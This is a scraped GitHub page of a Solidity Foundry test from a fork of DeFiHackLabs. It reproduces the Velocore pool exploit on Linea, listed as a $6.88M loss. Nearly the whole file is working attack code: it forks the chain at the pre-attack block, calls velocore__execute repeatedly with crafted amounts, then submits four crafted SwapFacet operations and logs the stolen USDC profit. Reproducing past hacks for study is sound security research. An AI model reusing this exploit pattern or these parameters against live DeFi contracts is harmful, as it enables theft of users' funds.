forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Velocore_exp.sol
158 lines (102 loc) · 5.42 KB
/
Velocore_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : $6.88M
// Attack Tx : https://lineascan.build/tx/0xed11d5b013bf3296b1507da38b7bcb97845dd037d33d3d1b0c5e763889cdbed1
// Attacker Address : https://lineascan.build/address/0x8cdc37ed79c5ef116b9dc2a53cb86acaca3716bf
// Attack Contract : https://lineascan.build/address/0xb7f6354b2cfd3018b3261fbc63248a56a24ae91a
// @Analysis: https://x.com/BeosinAlert/status/1797247874528645333
interface ConstantProductPool {
type Token is bytes32;
function velocore__execute(
address,
bytes32[] calldata tokens,
int128[] memory r,
bytes calldata data
) external returns (int128[] memory, int128[] memory);
function totalSupply() external view returns (uint256);
function poolBalances() external view returns (uint256[] memory);
}
struct VelocoreOperation {
bytes32 poolId;
bytes32[] tokenInformations;
bytes data;
}
interface SwapFacet {
type Token is bytes32;
function execute(
bytes32[] memory tokens,
int128[] memory deposit,
VelocoreOperation[] memory ops
) external payable;
}
contract ContractTest is Test {
type Token is bytes32;
address USDC_ETH_VLP = 0xe2c67A9B15e9E7FF8A9Cb0dFb8feE5609923E5DB;
address swapfacet = 0x1d0188c4B276A09366D05d6Be06aF61a73bC7535;
address USDC_e = 0x176211869cA2b568f2A7D4EE941E073a821EE1ff;
bytes32 USDC_e_bytes32 = 0x000000000000000000000000176211869ca2b568f2a7d4ee941e073a821ee1ff;
bytes32 ETH_bytes32 = 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
bytes32 USDC_ETH_VLP_bytes32 = 0x000000000000000000000000e2c67a9b15e9e7ff8a9cb0dfb8fee5609923e5db;
function setUp() public {
vm.createSelectFork("https://linea.drpc.org", 5_079_177 - 1);
}
function testExploit() public {
// 1. Check the total Supply Before Attack of VLP
uint256 totalSupplyBeforeAttack = ConstantProductPool(USDC_ETH_VLP).totalSupply();
// console.log("total Supply Before Attack:", totalSupplyBeforeAttack);
// 2. Call velocore__execute function three times with same parameters
bytes32[] memory tokens = new bytes32[](2);
tokens[0] = USDC_e_bytes32;
tokens[1] = USDC_ETH_VLP_bytes32;
int128[] memory amounts = new int128[](2);
amounts[0] = 170_141_183_460_469_231_731_687_303_715_884_105_727;
amounts[1] = 8_616_292_632_827_688;
ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex"");
ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex"");
ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex"");
// 3. Check the balance of USDC_ETH_VLP
uint256[] memory a = ConstantProductPool(USDC_ETH_VLP).poolBalances();
// 4. Call Valut.SwapFacet execute function with 4 ops
bytes32[] memory tokenRef = new bytes32[](3);
tokenRef[0] = USDC_e_bytes32;
tokenRef[1] = ETH_bytes32;
tokenRef[2] = USDC_ETH_VLP_bytes32;
int128[] memory deposit = new int128[](3);
deposit[0] = 0;
deposit[1] = 0;
deposit[2] = 0;
VelocoreOperation[] memory ops = new VelocoreOperation[](4);
ops[0].poolId = USDC_ETH_VLP_bytes32;
ops[0].tokenInformations = new bytes32[](3);
ops[0].tokenInformations[0] = 0x00000000000000000000000000000000ffffffffffffffffffffff787406ca5f;
ops[0].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;
ops[0].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;
ops[0].data = "";
ops[1].poolId = USDC_ETH_VLP_bytes32;
ops[1].tokenInformations = new bytes32[](3);
ops[1].tokenInformations[0] = 0x00000000000000000000000000000000fffffffffffffffffffffffd4a0022c4;
ops[1].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;
ops[1].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;
ops[1].data = "";
ops[2].poolId = USDC_ETH_VLP_bytes32;
ops[2].tokenInformations = new bytes32[](3);
ops[2].tokenInformations[0] = 0x00000000000000000000000000000000fffffffffffffffffffffffff21eb904;
ops[2].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;
ops[2].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;
ops[2].data = "";
ops[3].poolId = USDC_ETH_VLP_bytes32;
ops[3].tokenInformations = new bytes32[](2);
ops[3].tokenInformations[0] = 0x00000000000000000000000000000000ffffffffffffffffffffffffffffd8f0;
ops[3].tokenInformations[1] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;
ops[3].data = "";
SwapFacet(swapfacet).execute(tokenRef, deposit, ops);
// 5. Check the profit after attack
uint256 usdc_e_balance = IERC20(USDC_e).balanceOf(address(this));
console.log("---------------------------------------------------");
console.log("USDC_e profit after attack: $", usdc_e_balance / 10 ** 6);
console.log("---------------------------------------------------");
}
receive() external payable {}
}